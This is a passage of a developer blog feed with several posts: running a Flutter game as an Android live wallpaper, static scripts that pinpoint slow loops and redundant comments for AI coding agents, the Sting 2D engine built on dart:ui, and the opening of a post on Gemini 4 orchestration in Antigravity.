                    └── flutterView.attachToFlutterEngine(flutterEngine)&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The moment &lt;code&gt;flutterView.attachToFlutterEngine(flutterEngine)&lt;/code&gt; runs inside that &lt;code&gt;Presentation&lt;/code&gt; window, Impeller gets the full &lt;code&gt;FlutterView&lt;/code&gt; lifecycle it expects, Vulkan queues frame buffers onto the virtual display’s surface, and those pixels go straight onto the Android home screen.&lt;/p&gt;

&lt;h2&gt;3. Four Gotchas Between "It Renders" and "It Survives on a Real Phone"&lt;/h2&gt;

&lt;p&gt;Getting the first frame on screen was half the job. Making a simulation game behave nicely as a daily wallpaper took four more details:&lt;/p&gt;
&lt;h3&gt;1. OEM Background Thread Callbacks (&lt;code&gt;Looper.getMainLooper()&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;On Pixel phones, &lt;code&gt;WallpaperService&lt;/code&gt; callbacks usually arrive on the main thread. On several custom Android OEM ROMs, some surface callbacks fire on background threads—which immediately triggers a &lt;code&gt;@UiThread&lt;/code&gt; crash if you touch &lt;code&gt;FlutterEngine&lt;/code&gt;, &lt;code&gt;VirtualDisplay&lt;/code&gt;, &lt;code&gt;Presentation&lt;/code&gt;, or a &lt;code&gt;MethodChannel&lt;/code&gt;. Wrapping those calls in &lt;code&gt;Handler(Looper.getMainLooper())&lt;/code&gt; and setting &lt;code&gt;surfaceHolder.setFormat(PixelFormat.RGBA_8888)&lt;/code&gt; in &lt;code&gt;Engine.onCreate&lt;/code&gt; keeps it stable everywhere.&lt;/p&gt;
&lt;h3&gt;2. Pausing the Loop When You Aren't Looking (&lt;code&gt;onVisibilityChanged&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;Running a 60 FPS ECS simulation while you're looking at your home screen is great. Running it at 60 FPS while you have another app open in front of it—or while your phone is locked in your pocket—will drain your battery in a couple of hours.&lt;/p&gt;
&lt;p&gt;In &lt;code&gt;onVisibilityChanged(visible: Boolean)&lt;/code&gt;, the service calls &lt;code&gt;engine.lifecycleChannel.appIsResumed()&lt;/code&gt; / &lt;code&gt;appIsPaused()&lt;/code&gt; and sends a &lt;code&gt;"resume"&lt;/code&gt; / &lt;code&gt;"pause"&lt;/code&gt; message over &lt;code&gt;MethodChannel("crystal_cinders/wallpaper")&lt;/code&gt; so the game loop stops scheduling frames the instant the home screen is hidden.&lt;/p&gt;
&lt;h3&gt;3. Home-Screen Swipe Parallax (&lt;code&gt;onOffsetsChanged&lt;/code&gt;)&lt;/h3&gt;
&lt;p&gt;Whenever you swipe between home-screen pages, Android fires &lt;code&gt;onOffsetsChanged&lt;/code&gt; in &lt;code&gt;WallpaperService.Engine&lt;/code&gt;. Forwarding those horizontal offsets to Dart lets the game camera pan subtly across the simulation world as you swipe through your apps.&lt;/p&gt;
&lt;h3&gt;4. Clean Teardown Between Preview and Live Wallpaper&lt;/h3&gt;
&lt;p&gt;When you open the Android Wallpaper Picker (which the game triggers directly via &lt;code&gt;WallpaperManager.ACTION_CHANGE_LIVE_WALLPAPER&lt;/code&gt; over a launcher channel in &lt;code&gt;MainActivity.kt&lt;/code&gt;), Android spins up a &lt;em&gt;preview&lt;/em&gt; engine instance alongside any existing wallpaper and destroys surfaces aggressively when switching. Dismissing the &lt;code&gt;Presentation&lt;/code&gt; window (which detaches &lt;code&gt;FlutterView&lt;/code&gt;) and releasing the &lt;code&gt;VirtualDisplay&lt;/code&gt; in &lt;code&gt;onSurfaceDestroyed&lt;/code&gt; and &lt;code&gt;onDestroy&lt;/code&gt;—before destroying the &lt;code&gt;FlutterEngine&lt;/code&gt;—prevents GPU leaks and black-screen race conditions.&lt;/p&gt;

&lt;h2&gt;What’s Next: Seamless "Tap to Enter the World"&lt;/h2&gt;

&lt;p&gt;Right now, having the simulation running live as my phone’s wallpaper feels awesome—and it immediately gave me the next idea I want to build.&lt;/p&gt;
&lt;p&gt;Instead of treating the wallpaper and the full game as two disconnected things, I want &lt;strong&gt;tapping on the live wallpaper to take you seamlessly straight into the full interactive game world&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;I haven't tested this part yet, and I’m 100% sure it has its own set of Android surprises waiting for me:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Fighting the home-screen launcher over which taps belong to app icons versus the wallpaper (&lt;code&gt;onTouchEvent&lt;/code&gt; vs. &lt;code&gt;COMMAND_TAP&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Dealing with Android 10+ restrictions on launching an &lt;code&gt;Activity&lt;/code&gt; from a background &lt;code&gt;WallpaperService&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Handing off the live simulation state between the wallpaper’s &lt;code&gt;FlutterEngine&lt;/code&gt; and &lt;code&gt;MainActivity&lt;/code&gt; so the camera and world transition without a jarring reload.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That will be my next experiment—and probably the next post once I figure out what breaks first.&lt;/p&gt;

</description>
      <category>android</category>
      <category>flutter</category>
      <category>gamedev</category>
      <category>mobile</category>
    </item>
    <item>
      <title>How to Save Tokens and Make Your App Work Faster: Static Pinpointing for AI Agents</title>
      <dc:creator>Evgenii Zinner</dc:creator>
      <pubDate>Mon, 16 Nov 2026 12:01:26 +0000</pubDate>
      <link>https://dev.to/evgenii_zinner/how-to-save-tokens-and-make-your-app-work-faster-static-pinpointing-for-ai-agents-5hj7</link>
      <guid>https://dev.to/evgenii_zinner/how-to-save-tokens-and-make-your-app-work-faster-static-pinpointing-for-ai-agents-5hj7</guid>
      <description>&lt;p&gt;When you ship fast with coding agents for a few days straight, your codebase quietly picks up two expensive habits.&lt;/p&gt;
&lt;p&gt;First, &lt;strong&gt;your app starts working slower than it should&lt;/strong&gt; as soon as real data hits it. Everything looked fine in unit tests with five mock items, but under the hood the agent casually dropped a &lt;code&gt;.find()&lt;/code&gt; or &lt;code&gt;.includes()&lt;/code&gt; inside a &lt;code&gt;for&lt;/code&gt; loop, turning a simple list render into an &lt;code&gt;O(n²)&lt;/code&gt; bottleneck, or buried the business logic four &lt;code&gt;if/try/for&lt;/code&gt; blocks deep.&lt;/p&gt;
&lt;p&gt;Second, &lt;strong&gt;you burn through your context window and token quota way faster on every turn&lt;/strong&gt;. Why? Because LLMs love leaving play-by-play diary entries on every third line:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 1. Fetch the user from the list
// 2. Check if the user is active
// 3. Return the formatted result&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Every time your agent reads that file again over the next fifty turns, you are paying input tokens for the model to re-read its own useless narration.&lt;/p&gt;
&lt;p&gt;And if you try to fix both problems by opening a chat and asking the agent &lt;em&gt;"make this app work faster and clean up the code,"&lt;/em&gt; it does the worst thing possible: it reads twenty files into context, burns 15% of your quota, renames a few variables for style points, and completely misses the &lt;code&gt;.find()&lt;/code&gt; hiding inside the loop.&lt;/p&gt;
&lt;p&gt;I got tired of wasting context on blind refactoring, so I built two skills that I now run right before publishing any project—and recently dropped them onto &lt;a href="https://www.agensi.io/r/EVGENIIZINNER" rel="noopener noreferrer"&gt;&lt;strong&gt;Agensi&lt;/strong&gt;&lt;/a&gt; as the &lt;a href="https://www.agensi.io/bundles/clean-coding-101" rel="noopener noreferrer"&gt;&lt;strong&gt;Clean Coding 101&lt;/strong&gt;&lt;/a&gt; bundle.&lt;/p&gt;
&lt;p&gt;Instead of asking an LLM to &lt;em&gt;hunt&lt;/em&gt; for bad code, both skills use fast, zero-dependency Python scripts to pinpoint the exact line numbers for zero tokens first, and only bring the agent in to do the surgical fix.&lt;/p&gt;

&lt;h2&gt;1. How to Make Your App Work Faster Without "Vibe Refactoring" (craftsman)&lt;/h2&gt;

&lt;p&gt;If you want to know how to make an app work faster after heavy AI code generation, 90% of the time the culprit isn't your database or framework—it’s &lt;strong&gt;hidden quadratic scans&lt;/strong&gt; and &lt;strong&gt;tangled control flow&lt;/strong&gt; that the LLM wrote because it looked short.&lt;/p&gt;
&lt;p&gt;The problem with most refactoring prompts is &lt;strong&gt;anchoring bias&lt;/strong&gt;. If you paste a list of 10 classic "code smells" into a system prompt and ask an LLM to refactor a file, it feels obligated to find them. It will invent abstractions you don't need and rewrite working code just to look busy.&lt;/p&gt;
&lt;p&gt;That’s why I built &lt;strong&gt;&lt;code&gt;craftsman&lt;/code&gt;&lt;/strong&gt; around a &lt;strong&gt;Zero-Anchor Architecture&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Instead of the LLM reading your codebase to guess what looks ugly, it runs &lt;code&gt;analyze_complexity.py&lt;/code&gt; locally first. It’s a pure Python script with zero external dependencies that scans TypeScript, JavaScript, Python, Go, and Rust files in milliseconds and spits out exact line numbers for four concrete issues:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Hidden Quadratic Scans (&lt;code&gt;O(n × m)&lt;/code&gt;):&lt;/strong&gt; Calling &lt;code&gt;.find()&lt;/code&gt;, &lt;code&gt;.includes()&lt;/code&gt;, &lt;code&gt;.indexOf()&lt;/code&gt;, or &lt;code&gt;.filter()&lt;/code&gt; repeatedly inside an active loop.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Nested Loops (&lt;code&gt;O(n²)&lt;/code&gt;):&lt;/strong&gt; Explicit loops inside loops that blow up when array sizes grow.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Deep Nesting (Depth ≥ 3):&lt;/strong&gt; Pyramids of &lt;code&gt;if&lt;/code&gt; inside &lt;code&gt;for&lt;/code&gt; inside &lt;code&gt;try&lt;/code&gt; that force both humans and LLMs to hold too much state in their heads.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Bloated Functions &amp;amp; Runaway Chains:&lt;/strong&gt; Massive functions and six-step &lt;code&gt;.filter().map().sort()&lt;/code&gt; chains that allocate intermediate arrays on every step.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Because the script pinpoints the exact function and line number for &lt;strong&gt;zero tokens&lt;/strong&gt;, the agent never wastes context scanning clean files. And because of the Zero-Anchor protocol, the agent isn't given a vague "make this cleaner" goal—it opens that exact hotspot and applies mechanical fixes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Hoisting lookups:&lt;/strong&gt; Pulling &lt;code&gt;.find()&lt;/code&gt; and &lt;code&gt;.includes()&lt;/code&gt; out of the loop into a pre-computed &lt;code&gt;Map&lt;/code&gt; or &lt;code&gt;Set&lt;/code&gt; so lookups drop from &lt;code&gt;O(n)&lt;/code&gt; to &lt;code&gt;O(1)&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Flattening pyramids:&lt;/strong&gt; Flipping nested &lt;code&gt;if/else&lt;/code&gt; blocks into flat early-exit guard clauses (&lt;code&gt;if (!valid) return;&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Proving nothing broke:&lt;/strong&gt; Running the test suite immediately to verify that return values, thrown errors, and side-effect order are 100% identical.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;2. How to Save Tokens on Every File Read (clean-comments)&lt;/h2&gt;
&lt;p&gt;Once the code actually runs fast and reads flat, the second pass tackles &lt;strong&gt;token hygiene&lt;/strong&gt;—getting rid of all the &lt;code&gt;// Step 1&lt;/code&gt; noise that bloats your context window.&lt;/p&gt;
&lt;p&gt;When I first started stripping inline comments, I thought: &lt;em&gt;why not just use &lt;code&gt;grep "//"&lt;/code&gt; or a quick regex?&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;Anyone who has actually tried that on a real codebase learns the hard way why regex fails in five seconds. A naive &lt;code&gt;//&lt;/code&gt; search immediately matches:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;https://&lt;/code&gt; inside URLs&lt;/li&gt;
&lt;li&gt;&lt;code&gt;"// this is inside a string"&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;//&lt;/code&gt; inside regular expression literals&lt;/li&gt;
&lt;li&gt;Comment markers sitting inside &lt;code&gt;/* ... */&lt;/code&gt; block comments&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If you run an automated strip with regex, you corrupt strings and URLs across your whole project.&lt;/p&gt;
&lt;p&gt;To fix that properly in &lt;strong&gt;&lt;code&gt;clean-comments&lt;/code&gt;&lt;/strong&gt;, I wrote &lt;code&gt;find_inline_comments.py&lt;/code&gt; as a &lt;strong&gt;single-pass character state machine&lt;/strong&gt;. Instead of guessing with regex, it walks through the file character by character and tracks its exact lexical state:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;NORMAL&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;IN_SINGLE_QUOTE&lt;/code&gt; / &lt;code&gt;IN_DOUBLE_QUOTE&lt;/code&gt; / &lt;code&gt;IN_TEMPLATE_LITERAL&lt;/code&gt; (properly skipping escaped &lt;code&gt;\"&lt;/code&gt; characters)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;IN_REGEX&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;IN_BLOCK_COMMENT&lt;/code&gt; (&lt;code&gt;/* ... */&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;It only flags a &lt;code&gt;//&lt;/code&gt; sequence when the parser is in the &lt;code&gt;NORMAL&lt;/code&gt; state. For every real inline comment, it outputs the exact 1-based &lt;code&gt;(line, column)&lt;/code&gt;, whether it’s a standalone &lt;code&gt;LINE&lt;/code&gt; comment or &lt;code&gt;TRAILING&lt;/code&gt; at the end of a statement, and calculates the &lt;strong&gt;estimated token waste&lt;/strong&gt; (&lt;code&gt;ceil(length / 3.8)&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;When you run it on an agent-heavy repo, seeing the total wasted tokens added up across files is eye-opening.&lt;/p&gt;
&lt;p&gt;From there, the agent doesn't just nuke every comment blindly. It triages the exact coordinates the scanner found into three buckets:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Delete (&lt;code&gt;--strip&lt;/code&gt;):&lt;/strong&gt; All the play-by-play narration (&lt;code&gt;// Fetch user&lt;/code&gt;), obvious restatements of the code, and commented-out dead code get removed in reverse-column order so line offsets never shift mid-edit.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Move to JSDoc (&lt;code&gt;/** ... */&lt;/code&gt;):&lt;/strong&gt; If an inline comment is sitting on an exported function or interface and actually describes a useful contract for callers, it gets promoted into a proper JSDoc block.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Keep Inline:&lt;/strong&gt; The &lt;em&gt;only&lt;/em&gt; inline &lt;code&gt;//&lt;/code&gt; comments allowed to survive are rare, non-obvious &lt;strong&gt;"Why"&lt;/strong&gt; notes—like a workaround for a specific Safari bug or a subtle security ordering requirement.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;My Pre-Publish Routine&lt;/h2&gt;
&lt;p&gt;I run both of these right before publishing code or wrapping up a big feature branch:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Run &lt;strong&gt;&lt;code&gt;craftsman&lt;/code&gt;&lt;/strong&gt; first: &lt;code&gt;analyze_complexity.py&lt;/code&gt; finds the hidden &lt;code&gt;.find()&lt;/code&gt; loops and deep nesting for zero tokens, and the agent flattens them into &lt;code&gt;O(1)&lt;/code&gt; &lt;code&gt;Map&lt;/code&gt;/&lt;code&gt;Set&lt;/code&gt; lookups and guard clauses.&lt;/li&gt;
&lt;li&gt;Run &lt;strong&gt;&lt;code&gt;clean-comments&lt;/code&gt;&lt;/strong&gt; second: &lt;code&gt;find_inline_comments.py&lt;/code&gt; maps every real &lt;code&gt;//&lt;/code&gt; comment without choking on URLs or strings, and strips out the narrator bloat so future agent sessions don't pay a token tax every time they read the file.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;If you want to use them in your own setup, I put both skills up on &lt;a href="https://www.agensi.io/r/EVGENIIZINNER" rel="noopener noreferrer"&gt;&lt;strong&gt;Agensi&lt;/strong&gt;&lt;/a&gt; (or you can grab them together in the &lt;a href="https://www.agensi.io/bundles/clean-coding-101" rel="noopener noreferrer"&gt;&lt;strong&gt;Clean Coding 101 bundle&lt;/strong&gt;&lt;/a&gt;).&lt;/p&gt;

</description>
      <category>agents</category>
      <category>ai</category>
      <category>llm</category>
      <category>performance</category>
    </item>
    <item>
      <title>Throwing Out the Widget Tree: Building a 2D Game Engine Underneath Flutter (Sting)</title>
      <dc:creator>Evgenii Zinner</dc:creator>
      <pubDate>Sat, 14 Nov 2026 04:01:39 +0000</pubDate>
      <link>https://dev.to/evgenii_zinner/throwing-out-the-widget-tree-building-a-2d-game-engine-underneath-flutter-sting-3n6p</link>
      <guid>https://dev.to/evgenii_zinner/throwing-out-the-widget-tree-building-a-2d-game-engine-underneath-flutter-sting-3n6p</guid>
      <description>&lt;p&gt;A little while ago, I had two completely different itches I wanted to scratch at the same time.&lt;/p&gt;
&lt;p&gt;First, I wanted to build a 2D game—something heavy on simulation, with swarms of units moving across hex grids and heat spreading from tile to tile. For that, I needed a solid cross-platform Entity-Component-System (ECS) engine. But every engine I tried had some annoying quirk: either the cross-platform build setup was fragile, or things behaved slightly differently between desktop and mobile, or the engine fought me on how I wanted to structure the simulation.&lt;/p&gt;
&lt;p&gt;Second—back before Google announced the &lt;a href="https://www.ezinner.com/articles/rip-google-jules-why-local-ide-agents-dont-replace-cloud-vms/" rel="noopener noreferrer"&gt;Jules shutdown&lt;/a&gt;—I wanted a genuinely complex project to learn how to orchestrate autonomous agents properly. Not just asking an AI to fix a CSS bug, but coordinating a multi-part architecture from scratch without it turning into spaghetti.&lt;/p&gt;
&lt;p&gt;While looking at my options for the engine, I had a thought that initially sounded a bit stupid: &lt;em&gt;What about Flutter?&lt;/em&gt;&lt;/p&gt;

&lt;h2&gt;"Why Not Just Use Flame?" (And How dart:ui Changes the Game)&lt;/h2&gt;

&lt;p&gt;If you’ve ever shipped a Flutter app, you know why its toolchain is so tempting. You write Dart once, it compiles straight to native binaries for Windows, macOS, Linux, iOS, and Android, and because Flutter ships its own rendering engine (&lt;strong&gt;Impeller&lt;/strong&gt;), every pixel looks identical on every screen. No platform-specific rendering bugs, no fighting CMake or Gradle for weeks.&lt;/p&gt;
&lt;p&gt;Of course, Flutter itself is built for app UI, not games. Everything in standard Flutter wants to live inside a giant widget tree with layout passes and state reconciliation—which is great for a settings screen and terrible when thousands of game entities are updating 60 times a second.&lt;/p&gt;
&lt;p&gt;Even if you look at &lt;strong&gt;Flame&lt;/strong&gt;—the go-to 2D game engine in the Flutter ecosystem—it still lives inside a &lt;code&gt;GameWidget&lt;/code&gt; and builds everything around an object-oriented component tree (&lt;code&gt;PositionComponent&lt;/code&gt;, &lt;code&gt;SpriteComponent&lt;/code&gt;) where every entity is a heap-allocated Dart object. In fact, Flame &lt;em&gt;used&lt;/em&gt; to have an official ECS bridge (&lt;code&gt;flame_oxygen&lt;/code&gt;), and the team eventually deprecated it in favor of their standard object tree. Meanwhile, older standalone ECS packages on &lt;code&gt;pub.dev&lt;/code&gt; (like &lt;code&gt;entitas_ff&lt;/code&gt; or &lt;code&gt;fast_ecs&lt;/code&gt;) still box components as regular Dart objects on the heap.&lt;/p&gt;
&lt;p&gt;So I started digging a layer deeper into how Flutter actually draws to the screen.&lt;/p&gt;
&lt;p&gt;It turns out you don’t have to use the widget tree at all. Underneath all the buttons, layouts, and &lt;code&gt;RenderObject&lt;/code&gt;s sits &lt;strong&gt;&lt;code&gt;dart:ui&lt;/code&gt;&lt;/strong&gt;—the low-level layer that talks directly to Impeller’s GPU canvas. Until now, almost the only people touching raw &lt;code&gt;dart:ui&lt;/code&gt; without widgets were engineers writing 200-line &lt;em&gt;Bunnymark&lt;/em&gt; benchmarks to prove Impeller could push 50,000 sprites at 60 FPS.&lt;/p&gt;
&lt;p&gt;You can literally keep Flutter’s widget system completely out of your game loop (or save it strictly for a simple HUD menu later), hook straight into the hardware canvas, and still get Flutter’s one-command native builds for every platform.&lt;/p&gt;
&lt;p&gt;Once I realized that, &lt;a href="https://github.com/Evgenii-Zinner/Sting" rel="noopener noreferrer"&gt;&lt;strong&gt;Sting&lt;/strong&gt;&lt;/a&gt; was born.&lt;/p&gt;

&lt;h2&gt;Using Jules as Both Orchestrator and Coder&lt;/h2&gt;

&lt;p&gt;Building a game engine from scratch—even a focused 2D one—involves a ton of foundational code: entity storage, spatial grids, camera math, and batch rendering. That made it the perfect playground to test multi-agent orchestration in Jules.&lt;/p&gt;
&lt;p&gt;Instead of prompting blindly, I set up a central &lt;strong&gt;master plan file&lt;/strong&gt; in the repository and split Jules into distinct roles across iterations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The Orchestrator:&lt;/strong&gt; One role was responsible for owning the main plan file—breaking the engine down into small, well-defined tasks, keeping the architecture consistent, and checking off milestones.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Specialized Builders:&lt;/strong&gt; Separate runs took individual tasks from the plan—writing the ECS storage, the hex math, or the renderer—along with unit tests and benchmarks to prove the code actually worked.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Having that single plan file as the source of truth kept the agents from drifting. And because we added a benchmark regression suite right alongside the test suite (which eventually grew to &lt;strong&gt;844 automated tests&lt;/strong&gt;), any code that quietly slowed down the frame loop got caught immediately.&lt;/p&gt;

&lt;h2&gt;How Sting Stays Fast in Dart&lt;/h2&gt;

&lt;p&gt;If you write a simulation-heavy game in a managed language like Dart, you only really have one enemy: &lt;strong&gt;the garbage collector&lt;/strong&gt;. &lt;/p&gt;
&lt;p&gt;If your game creates thousands of tiny objects (&lt;code&gt;new Position()&lt;/code&gt;, &lt;code&gt;new Offset()&lt;/code&gt;) on every frame, the garbage collector will eventually pause your game to clean up memory, and your frame rate will stutter. That’s where Dart 3’s newer language features made a huge difference:&lt;/p&gt;
&lt;h3&gt;1. Flat Number Lists Disguised as Clean Objects&lt;/h3&gt;
&lt;p&gt;Instead of storing every entity’s position or velocity as a separate Dart object on the heap like older Dart ECS libraries, Sting stores component data inside flat lists of numbers (&lt;code&gt;Float32List&lt;/code&gt; and &lt;code&gt;Int32List&lt;/code&gt;), indexed by a fast Sparse-Set. &lt;/p&gt;
&lt;p&gt;Normally, working with raw number arrays in game code looks ugly (&lt;code&gt;buffer[id * 4 + 1]&lt;/code&gt;). But &lt;strong&gt;Dart 3 &lt;code&gt;extension type&lt;/code&gt;s&lt;/strong&gt; let you wrap those array slices in normal-looking getters and setters like &lt;code&gt;pos.x&lt;/code&gt; and &lt;code&gt;pos.y&lt;/code&gt; that compile away completely at runtime. And for math functions—like converting screen clicks to hex-grid coordinates—Sting uses &lt;strong&gt;Dart 3 Records&lt;/strong&gt; &lt;code&gt;(double, double)&lt;/code&gt; to return pairs of numbers without creating throwaway objects.&lt;/p&gt;
&lt;h3&gt;2. Sending Sprites to the GPU in One Batch&lt;/h3&gt;
&lt;p&gt;Because there’s no widget tree, Sting’s renderer hooks directly into &lt;code&gt;dart:ui&lt;/code&gt;’s &lt;code&gt;Canvas&lt;/code&gt;. &lt;/p&gt;
&lt;p&gt;Instead of drawing tiles and sprites one by one in a loop, the render systems pack all the sprite positions and texture coordinates into pre-allocated buffers and hand the whole batch to Impeller in a single call using &lt;code&gt;Canvas.drawRawAtlas&lt;/code&gt; (with support for custom fragment shaders when a material needs special effects).&lt;/p&gt;
&lt;h3&gt;3. Audio and Assets That Don't Care About Plugins&lt;/h3&gt;
&lt;p&gt;Everything outside the core simulation—like sound—is tucked behind a simple pluggable interface (&lt;code&gt;PluggableAudioManager&lt;/code&gt;). That way, the engine itself never depends on bloated third-party Flutter plugins just to compile and run tests.&lt;/p&gt;

&lt;h2&gt;An Engine Built for One Specific Game (For Now)&lt;/h2&gt;

&lt;p&gt;If you poke around the &lt;a href="https://github.com/Evgenii-Zinner/Sting" rel="noopener noreferrer"&gt;&lt;strong&gt;Sting repo on GitHub&lt;/strong&gt;&lt;/a&gt;, you’ll probably notice something funny about what’s inside.&lt;/p&gt;
&lt;p&gt;Some obvious features you’d expect in a general-purpose game engine aren't there yet. Meanwhile, it has weirdly specific, battle-tested modules for &lt;strong&gt;hex-grid heat diffusion and cooling&lt;/strong&gt;, &lt;strong&gt;Barnes-Hut spatial trees&lt;/strong&gt;, and &lt;strong&gt;potential-field swarm AI&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;That’s because Sting isn't trying to be a general-purpose Unity replacement right now—it’s built specifically to power the game I’m making. Whenever my game needs a new simulation mechanic, that’s what gets built into the engine next.&lt;/p&gt;
&lt;p&gt;Right now, it does the exact job I hoped for: it runs my core gameplay loop smoothly and compiles cleanly across platforms without me fighting the toolchain. I have a feeling that if I eventually try to ship a Web build, I’ll run into some fun browser quirks with low-level buffers or shaders—but for now, I’m focused on making the game itself fun, and I’ll deal with Web problems when they show up.&lt;/p&gt;
&lt;p&gt;If you’ve ever been curious what happens when you strip the widgets out of Flutter and use Dart 3 + &lt;code&gt;dart:ui&lt;/code&gt; as a real data-oriented 2D engine, you can check out the source at &lt;a href="https://github.com/Evgenii-Zinner/Sting" rel="noopener noreferrer"&gt;&lt;strong&gt;github.com/Evgenii-Zinner/Sting&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>flutter</category>
      <category>gamedev</category>
      <category>programming</category>
    </item>
    <item>
      <title>Gemini 4 Hydrogen, xhigh Thinking, and Native Orchestrator Mode in Google Antigravity</title>
      <dc:creator>Evgenii Zinner</dc:creator>
      <pubDate>Fri, 13 Nov 2026 12:01:13 +0000</pubDate>
      <link>https://dev.to/evgenii_zinner/gemini-4-hydrogen-xhigh-thinking-and-native-orchestrator-mode-in-google-antigravity-2699</link>
      <guid>https://dev.to/evgenii_zinner/gemini-4-hydrogen-xhigh-thinking-and-native-orchestrator-mode-in-google-antigravity-2699</guid>
      <description>&lt;p&gt;When &lt;code&gt;Gemini 4 Argon&lt;/code&gt; first landed in Google Antigravity a few weeks ago, &lt;a href="https://www.ezinner.com/articles/gemini-4-argon-vs-gemini-3-8-flash-reasoning-execution-and-copywriting/" rel="noopener noreferrer"&gt;I wrote about the manual workflow&lt;/a&gt; you had to adopt if you wanted to survive a full workday without hitting a quota wall. Because Argon was so good at architectural reasoning—and so expensive against your Pro quota pool—you couldn't just leave it selected for routine file edits. &lt;/p&gt;
&lt;p&gt;To get the best of both worlds, you had two choices. You either did the manual "Planner/Executor split"—starting a prompt on Argon to map out the edge cases, stopping it, and flipping the model picker to &lt;code&gt;Gemini 3.8 Flash&lt;/code&gt; to actually write the code—or you explicitly prompted Argon to act as a coordinator, drafting strict rails and task briefs for subagents so it wouldn't burn its own turns running tests and editing boilerplate. And because Antigravity buried your remaining token usage inside the Settings menu, I literally built a &lt;a href="https://www.ezinner.com/articles/building-agentpulse-a-windows-11-widget-for-antigravity-quotas/" rel="noopener noreferrer"&gt;Windows 11 desktop widget (AgentPulse)&lt;/a&gt; just to see how much Argon quota I had left before kicking off a heavy refactor.&lt;/p&gt;
&lt;p&gt;With the full &lt;strong&gt;Gemini 4 series drop&lt;/strong&gt; in Antigravity, Google basically looked at how developers were rationing frontier turns and baked the entire workflow natively into the IDE out of the box. Between the new &lt;strong&gt;&lt;code&gt;Gemini 4 Hydrogen&lt;/code&gt;&lt;/strong&gt; model, its &lt;strong&gt;&lt;code&gt;xhigh&lt;/code&gt; thinking tier&lt;/strong&gt;, &lt;strong&gt;inline quota meters&lt;/strong&gt;, and a native &lt;strong&gt;&lt;code&gt;Orchestrator&lt;/code&gt; mode&lt;/strong&gt; right in the model picker, the daily friction of managing models in Antigravity has dropped dramatically.&lt;/p&gt;
&lt;p&gt;Here is how the new Gen 4 lineup actually works under the hood, and how it changes everyday work in the IDE.&lt;/p&gt;

&lt;h2&gt;1. Native Orchestrator Mode: No More Manual Subagent Rails&lt;/h2&gt;

&lt;p&gt;The biggest workflow upgrade in this release isn't even a raw model weight—it's &lt;strong&gt;&lt;code&gt;Orchestrator (Argon)&lt;/code&gt;&lt;/strong&gt; (&lt;code&gt;gemini-pro-orchestrator-g1-pro&lt;/code&gt;) showing up directly as a first-class option in the model picker.&lt;/p&gt;
&lt;p&gt;Previously, if you wanted Argon to plan a change and hand off the heavy lifting, you had to engineer that delegation yourself in the prompt. If you didn't write tight enough instructions for the subagents, either the subagent would wander off-spec in its own context window, or Argon would ignore you and start editing twenty files itself, torching 30% of your quota in a single turn.&lt;/p&gt;
&lt;p&gt;Under the hood, Antigravity's new &lt;code&gt;Orchestrator&lt;/code&gt; mode replaces manual subagent prompting with a deterministic, two-phase &lt;strong&gt;Plan-and-Execute protocol&lt;/strong&gt; running inside the &lt;em&gt;same&lt;/em&gt; conversation thread:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Phase 1 — Read-Only Planning Turn (Argon):&lt;/strong&gt; Every time you send a message in Orchestrator mode, the turn starts on the frontier planning model (&lt;code&gt;Gemini 4 Argon&lt;/code&gt;) with &lt;strong&gt;Plan Mode locked on&lt;/strong&gt;. At the harness level, write and file-editing tools are completely disabled during this phase. Argon can only read files, search the codebase, and run read-only observation commands (builds, test suites, queries).&lt;/li&gt;
&lt;li&gt;
